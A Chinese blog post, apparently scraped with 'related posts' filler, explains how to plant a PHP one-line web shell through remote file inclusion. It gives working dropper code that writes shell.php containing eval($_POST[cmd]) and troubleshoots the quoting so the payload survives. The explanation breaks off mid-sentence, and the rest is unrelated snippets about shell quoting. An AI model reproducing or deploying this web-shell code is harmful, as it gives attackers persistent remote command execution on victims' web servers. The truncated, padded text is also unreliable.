远程包含shell时，上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)

远程包含shell
需要allow_url_open=On，才可以尝试远程包含一句话木马：
http://www.xxx.com/echo.txt, 代码如下。

<?php
fputs (fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>')
?>

或者

<?php
$b='<?php eval($_POST[cmd]);?>';
$a=fopen('shell.php','w');
fputs($a,$b);
fclose($a);
?>

其中出现了报错，实际是因为一开始的代码是这样的。归根结底是单引号和双引号的问题

<?php
fputs (fopen("shell.php","w"),"<?php eval($_POST[cmd]);?>")
?>

双引号里面的字段会经过编译器解释，然后再当作HTML代码输出。单引号里面的不进行解释，直接输出。通俗点来说就是双引号里的变量会执行，单引号里的不会执行，相当于字符串如果把一句话木马用双引号包起来，那么执行php代码的时候，他会执行$_POST[cmd]，又因为没有POST没有接收到值所以变空。

如果变为单引号，执行php代码时则为：

远程包含shell时，上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)相关推荐

shell字符串中同时包含单引号和双引号的一种处理方法
字符串的几种标识方法我们知道在shell中表示字符串一般是用单引号或者是双引号放在整个字符串的开头和结尾. 如果字符串中只包含单引号,那么可以用双引号括起来. 同理如果字符串中包含双引号可以用单引号 ...
python创建包含双引号的字符串代码_python 字符串组成MySql 命令时，字符串含有单引号或者双引号导致出错解决办法...
引用自:https://blog.csdn.net/zhaoya_huangqing/article/details/48036839 一.在组成SQL语句并发送命令时完全按照Python中的样式去传 ...
linux shell中的单引号与双引号的区别(看完就不会有引号的疑问了)(转)
tips: ============================= IFS - LINUX字段分隔符,内部字段分隔符 IFS(Internal Field Seperator)在Linux的she ...
bash shell基本语法之单引号、双引号和倒引号的区别及使用
前言在bash shell基本语法之特殊变量的使用的一些示例中,使用echo输出一些字符串的时候,既使用了单引用也用了双引号,这篇博文简单说下这两个的区别,顺便说下倒引号的用法单引号与双引号在使 ...
Linux Shell - 单引号 ( ‘ )、双引号 ( “ ) 和反引号 ( ` )
Linux Shell - 单引号 ( ' ).双引号 ( " ) 和反引号 (`) Bash 只有一种数据类型,即字符串.用户输入的数据,Bash 都视为字符串. 1. 单引号 (') 单 ...
【Linux】Shell（Bash）单引号、双引号、不加引号和反引号用法和区别详解
简要总结不加引号:不会将含有空格的字符串视为一个整体输出, 如果内容中有变量等,会先把变量解析出结果,然后在输出最终内容来,如果字符串中带有空格等特殊字符,则不能完整的输出,需要改加双引号,一般连续 ...
描述linux shell单引号,Linux shell 单引号和双引号
在编写shell脚本的时候经常会用到引号,有些时候却老是忘记单引号和双引号之间的区别, 所以就整理一下供以后脑子不好使了的时候前来复习一下.首先说下他们的共同点: 好像就只有一个,就是它们都可以用来 ...
shell 引号解析逗号_关于shell的单引号和双引号转义以及特殊符号相关
关于shell的单引号和双引号转义以及特殊符号相关 20140603 Chenxin shell转义,单引号与双引号,反撇号 1.转义单引号和双引号都能关闭shell对特殊字符的处理. 不同的是, ...
linux bash shell中，单引号、双引号，反引号（``）的区别及各种括号的区别
一.单引号和双引号首先,单引号和双引号,都是为了解决中间有空格的问题. 因为空格在linux中时作为一个很典型的分隔符,比如string1=this is astring,这样执行就会报错.为了避免 ...

远程包含shell时，上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)

远程包含shell时，上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)相关推荐

最新文章

热门文章